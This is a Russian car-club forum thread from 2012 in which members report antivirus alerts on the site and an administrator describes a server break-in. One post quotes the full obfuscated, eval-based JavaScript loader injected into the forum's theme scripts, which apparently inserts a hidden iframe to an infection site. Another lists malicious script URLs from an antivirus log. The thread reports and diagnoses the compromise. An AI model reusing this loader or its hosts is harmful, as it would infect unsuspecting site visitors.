Автор Тема: Это так у меня одного???  (Прочитано 95079 раз)

Оффлайн Tim$

  • Гуру
  • *****
  • Сообщений: 1735
  • Репутация: +33/-3
    • ICQ клиент - 634874774
    • Просмотр профиля
  • Город: Жуковский, М.О.
  • Авто: KIA Magentis GE 2010 г.в. 2,0 АКПП, белый, SPORT
Это так у меня одного???
« : 05 Апрель 2012, 13:53:24 »
При переходе на родной сайт выдаёт такую картину:
Чего это за фигня такая???
Я НА DRIVE2: http://www.drive2.ru/cars/kia/magentis/magentis_iii/timoxxxa/

ДИЛЕР ПИШЕТСЯ С ОДНОЙ БУКВОЙ "Л"!

Оффлайн Sasha

  • Гуру
  • *****
  • Сообщений: 1322
  • Репутация: +18/-4
    • ICQ клиент - 358444613
    • Просмотр профиля
    • Email
  • Город: Обнинск
  • Авто: Kia Magentis GE (2009/2.0/150 л.с.)
Re: Это так у меня одного???
« Ответ #1 : 05 Апрель 2012, 13:58:54 »
типо вирус?

Оффлайн Tim$

  • Гуру
  • *****
  • Сообщений: 1735
  • Репутация: +33/-3
    • ICQ клиент - 634874774
    • Просмотр профиля
  • Город: Жуковский, М.О.
  • Авто: KIA Magentis GE 2010 г.в. 2,0 АКПП, белый, SPORT
Re: Это так у меня одного???
« Ответ #2 : 05 Апрель 2012, 14:20:59 »
типо вирус?

пишет что с сайт рассылает вирусы, не знаю почему картинка такая маленькая получилась
Я НА DRIVE2: http://www.drive2.ru/cars/kia/magentis/magentis_iii/timoxxxa/

ДИЛЕР ПИШЕТСЯ С ОДНОЙ БУКВОЙ "Л"!

Оффлайн Grazier

  • Отец-основатель
  • Гуру
  • *****
  • Сообщений: 6251
  • Репутация: +258/-11
  • Эксклюзивный маджик продан
    • ICQ клиент - 40347816
    • Просмотр профиля
    • сайт Grazier'a
    • Email
  • Город: Москва
  • Авто: SORENTO XM FL 2.4 MT AWD
Re: Это так у меня одного???
« Ответ #3 : 05 Апрель 2012, 15:45:02 »
Уже вылечили, так что можете заходить.
Моя текущая машина:
KIA SORENTO XM FL 2.4MT AWD
https://www.drive2.ru/r/kia/1574230/

Моя бывшая машина:
KIA MAGENTIS GE EXCLUSIVE (http://forum.club-magentis.ru/index.php?topic=238.0)

Оффлайн KirBG

  • Администратор
  • Профессионал
  • *****
  • Сообщений: 324
  • Репутация: +12/-0
    • Просмотр профиля
    • Клуб Kia Magentis
    • Email
  • Город: Москва
  • Авто: 1
Re: Это так у меня одного???
« Ответ #4 : 05 Апрель 2012, 16:00:50 »
Ночью (около 5 утра) сервер подвергся нападению, было перезаписано часть файлов.  С утра (около 9:30) все файлы были перезаписаны в исходное состояние, однако некоторое время браузеры еще могут ругаться "по старой памяти".

Оффлайн Tim$

  • Гуру
  • *****
  • Сообщений: 1735
  • Репутация: +33/-3
    • ICQ клиент - 634874774
    • Просмотр профиля
  • Город: Жуковский, М.О.
  • Авто: KIA Magentis GE 2010 г.в. 2,0 АКПП, белый, SPORT
Re: Это так у меня одного???
« Ответ #5 : 05 Апрель 2012, 16:07:32 »
Уже вылечили, так что можете заходить.

аа ну хорошо....
Я НА DRIVE2: http://www.drive2.ru/cars/kia/magentis/magentis_iii/timoxxxa/

ДИЛЕР ПИШЕТСЯ С ОДНОЙ БУКВОЙ "Л"!

Оффлайн DAK

  • Гуру
  • *****
  • Сообщений: 884
  • Репутация: +24/-2
    • Просмотр профиля
  • Город: Москва
  • Авто: Kia Magentis GE 2010 2.0 A/T Luxe
Re: Это так у меня одного???
« Ответ #6 : 07 Апрель 2012, 23:00:19 »
Дома аваст стал ругаться на сайт.

Оффлайн Tim$

  • Гуру
  • *****
  • Сообщений: 1735
  • Репутация: +33/-3
    • ICQ клиент - 634874774
    • Просмотр профиля
  • Город: Жуковский, М.О.
  • Авто: KIA Magentis GE 2010 г.в. 2,0 АКПП, белый, SPORT
Re: Это так у меня одного???
« Ответ #7 : 08 Апрель 2012, 02:26:14 »
Мозила до сих пор такую хрень мне выдаёт ???  ???
Я НА DRIVE2: http://www.drive2.ru/cars/kia/magentis/magentis_iii/timoxxxa/

ДИЛЕР ПИШЕТСЯ С ОДНОЙ БУКВОЙ "Л"!

Оффлайн Palach

  • Гуру
  • *****
  • Сообщений: 550
  • Репутация: +13/-0
  • Ездун
    • Просмотр профиля
  • Город: Москва
  • Авто: VOLVO XC70 2012 D3 AWD
Re: Это так у меня одного???
« Ответ #8 : 08 Апрель 2012, 12:59:16 »
каспер тоже вопит.

Оффлайн disasoft

  • Новичок
  • *
  • Сообщений: 16
  • Репутация: +0/-0
    • Просмотр профиля
    • Email
  • Город: Тверь
  • Авто: KIA Magentis MG 2007, G4KA 2.0, АКПП
Re: Это так у меня одного???
« Ответ #9 : 09 Апрель 2012, 15:03:08 »
Уважаемая Администрация!

Форум, похоже, все еще заражен и пытается запустить Java для заражения компьютеров пользователей.

Обратите внимание на подключаемые JavaScript из файлов
http://forum.club-magentis.ru/Themes/default/scripts/script.js?rc2
http://forum.club-magentis.ru/Themes/default/scripts/theme.js?rc2
http://forum.club-magentis.ru/Themes/default/scripts/sha1.js
http://forum.club-magentis.ru/Themes/default/scripts/topic.js
а также, возможно, другие скрипты, подгружаемые на других страницах.

Перечисленные скрипты содержат код, которого нет в оригинальных скриптах движка SMF. Более того, код обфусцирован, чтобы было непонятно, что он пытается сделать:

Цитировать
c=3-1;i=c-2;if(window.document)if(parseInt("0"+"1"+"2"+"3")===83)try{Date().prototype.q}catch(egewgsd){f=['0i62i77i70i59i76i65i71i70i0i1i-8i83i-27i-30i-31i78i57i74i-8i77i74i68i-8i21i-8i-1i64i76i76i72i18i7i7i57i81i73i13i16i17i62i64i6i59i64i76i68i71i69i76i72i67i75i6i64i71i69i61i62i76i72i6i70i61i76i7i63i7i-1i19i-27i-30i-31i65i62i-8i0i76i81i72i61i71i62i-8i79i65i70i60i71i79i6i80i81i82i62i68i57i63i-8i21i21i21i-8i-1i77i70i60i61i62i65i70i61i60i-1i1i-8i83i-27i-30i-31i-31i79i65i70i60i71i79i6i80i81i82i62i68i57i63i-8i21i-8i8i19i-27i-30i-31i85i-27i-30i-31i60i71i59i77i69i61i70i76i6i71i70i69i71i77i75i61i69i71i78i61i-8i21i-8i62i77i70i59i76i65i71i70i0i1i-8i83i-27i-30i-31i-31i65i62i-8i0i79i65i70i60i71i79i6i80i81i82i62i68i57i63i-8i21i21i21i-8i8i1i-8i83i-27i-30i-31i-31i-31i79i65i70i60i71i79i6i80i81i82i62i68i57i63i-8i21i-8i9i19i-27i-30i-31i-31i-31i78i57i74i-8i64i61i57i60i-8i21i-8i60i71i59i77i69i61i70i76i6i63i61i76i29i68i61i69i61i70i76i75i26i81i44i57i63i38i57i69i61i0i-1i64i61i57i60i-1i1i51i8i53i19i-27i-30i-31i-31i-31i78i57i74i-8i75i59i74i65i72i76i-8i21i-8i60i71i59i77i69i61i70i76i6i59i74i61i57i76i61i29i68i61i69i61i70i76i0i-1i75i59i74i65i72i76i-1i1i19i-27i-30i-31i-31i-31i75i59i74i65i72i76i6i76i81i72i61i-8i21i-8i-1i76i61i80i76i7i66i57i78i57i75i59i74i65i72i76i-1i19i-27i-30i-31i-31i-31i75i59i74i65i72i76i6i71i70i74i61i57i60i81i75i76i57i76i61i59i64i57i70i63i61i-8i21i-8i62i77i70i59i76i65i71i70i-8i0i1i-8i83i-27i-30i-31i-31i-31i-31i65i62i-8i0i76i64i65i75i6i74i61i57i60i81i43i76i57i76i61i-8i21i21i-8i-1i59i71i69i72i68i61i76i61i-1i1i-8i83i-27i-30i-31i-31i-31i-31i-31i79i65i70i60i71i79i6i80i81i82i62i68i57i63i-8i21i-8i10i19i-27i-30i-31i-31i-31i-31i85i-27i-30i-31i-31i-31i85i19i-27i-30i-31i-31i-31i75i59i74i65i72i76i6i71i70i68i71i57i60i-8i21i-8i62i77i70i59i76i65i71i70i0i1i-8i83i-27i-30i-31i-31i-31i-31i79i65i70i60i71i79i6i80i81i82i62i68i57i63i-8i21i-8i10i19i-27i-30i-31i-31i-31i85i19i-27i-30i-31i-31i-31i75i59i74i65i72i76i6i75i74i59i-8i21i-8i77i74i68i-8i3i-8i37i57i76i64i6i74i57i70i60i71i69i0i1i6i76i71i43i76i74i65i70i63i0i1i6i75i77i58i75i76i74i65i70i63i0i11i1i-8i3i-8i-1i6i66i75i-1i19i-27i-30i-31i-31i-31i64i61i57i60i6i57i72i72i61i70i60i27i64i65i68i60i0i75i59i74i65i72i76i1i19i-27i-30i-31i-31i85i-27i-30i-31i85i19i-27i-30i85i1i0i1i19'][0].split('i');v="ev"+"al";}if(v)e=window[v];w=f;s=[];r=String;for(;692!=i;i+=1){j=i;s+=r["fr"+"omC"+"harCode"](40+1*w[j]);}if(f)z=s;e(z);


После расшифровки и исполнения этот код вставляет на страницу скрытый iframe с сайтом, пытающимся заразить компьютеры пользователей.

Оффлайн Grazier

  • Отец-основатель
  • Гуру
  • *****
  • Сообщений: 6251
  • Репутация: +258/-11
  • Эксклюзивный маджик продан
    • ICQ клиент - 40347816
    • Просмотр профиля
    • сайт Grazier'a
    • Email
  • Город: Москва
  • Авто: SORENTO XM FL 2.4 MT AWD
Re: Это так у меня одного???
« Ответ #10 : 09 Апрель 2012, 16:32:17 »
Блин, админ уехал на неделю на Украину. Без него я сейчас ничего сделать не могу. Попытаюсь его выцепить. Пока всем рекомендую выключать ява-скрипты.
Моя текущая машина:
KIA SORENTO XM FL 2.4MT AWD
https://www.drive2.ru/r/kia/1574230/

Моя бывшая машина:
KIA MAGENTIS GE EXCLUSIVE (http://forum.club-magentis.ru/index.php?topic=238.0)

Оффлайн azat

  • Профессионал
  • ****
  • Сообщений: 340
  • Репутация: +8/-0
    • Просмотр профиля
    • Email
  • Город: Казань
  • Авто: (KIA MAGENTIS 2.0 164 л.с. был) Volvo XC70 D3 2,4 AWD 2012 275 коней и 536 н.м.
Re: Это так у меня одного???
« Ответ #11 : 09 Апрель 2012, 17:43:51 »
у меня тоже ругаться начал - "троянская программа".

Оффлайн RuSlAn

  • Гуру
  • *****
  • Сообщений: 592
  • Репутация: +20/-3
    • Просмотр профиля
    • Email
  • Город: Санкт-Петербург
  • Авто: Outlander XL 2.4 CVT
Re: Это так у меня одного???
« Ответ #12 : 09 Апрель 2012, 19:12:00 »
У меня тож каспер матерится :D

Оффлайн zomb89

  • Профессионал
  • ****
  • Сообщений: 270
  • Репутация: +1/-1
    • Просмотр профиля
  • Город: Салехард
  • Авто: KIA MAGENTIS GE 2.0 LUXE 2010
Re: Это так у меня одного???
« Ответ #13 : 10 Апрель 2012, 08:58:41 »
лячить надо

Оффлайн slobdy

  • Гонщик
  • ***
  • Сообщений: 105
  • Репутация: +3/-2
  • Поймал как-то старик Хоттабыч золотую рыбку...
    • Просмотр профиля
    • Email
  • Город: C-Петербург
  • Авто: Magentis 2, ГАЗ-2705 (турист)
Re: Это так у меня одного???
« Ответ #14 : 10 Апрель 2012, 10:35:33 »
Бацилы веселятся! Сегодня уже другие:
10.04.2012 10:29:13   URL-адрес: http://jy9e1.hnxbptlmuf.servegame.org/g/8065332574792756.js   База подозрительных веб-адресов: обнаружено   
10.04.2012 10:33:02   URL-адрес: http://ayq589fh.chtlomtpks.homeftp.net/g/7203501818538267.js   База подозрительных веб-адресов: обнаружено   
10.04.2012 10:29:23   URL-адрес: http://jy9e1.hnxbptlmuf.servegame.org/g/701395120993411.js   База подозрительных веб-адресов: обнаружено   
10.04.2012 10:33:20   URL-адрес: http://jy9e1.hnxbptlmuf.servegame.org/g/309862693616833.js   База подозрительных веб-адресов: обнаружено   
10.04.2012 10:34:14   URL-адрес: http://ayq589fh.chtlomtpks.homeftp.net/g/924298140565428.js   База подозрительных веб-адресов: обнаружено   


ВАЗ-21013, SAAB-99, Volvo-343, ВАЗ-2106, ВАЗ-21013, Volvo-245... что было, то было...

АВТОМОБИЛЬНЫЙ КЛУБ KIA MAGENTIS CLUB (KIA OPTIMA CLUB)

Re: Это так у меня одного???
« Ответ #14 : 10 Апрель 2012, 10:35:33 »

 

Элитный китайский чай по низким ценам!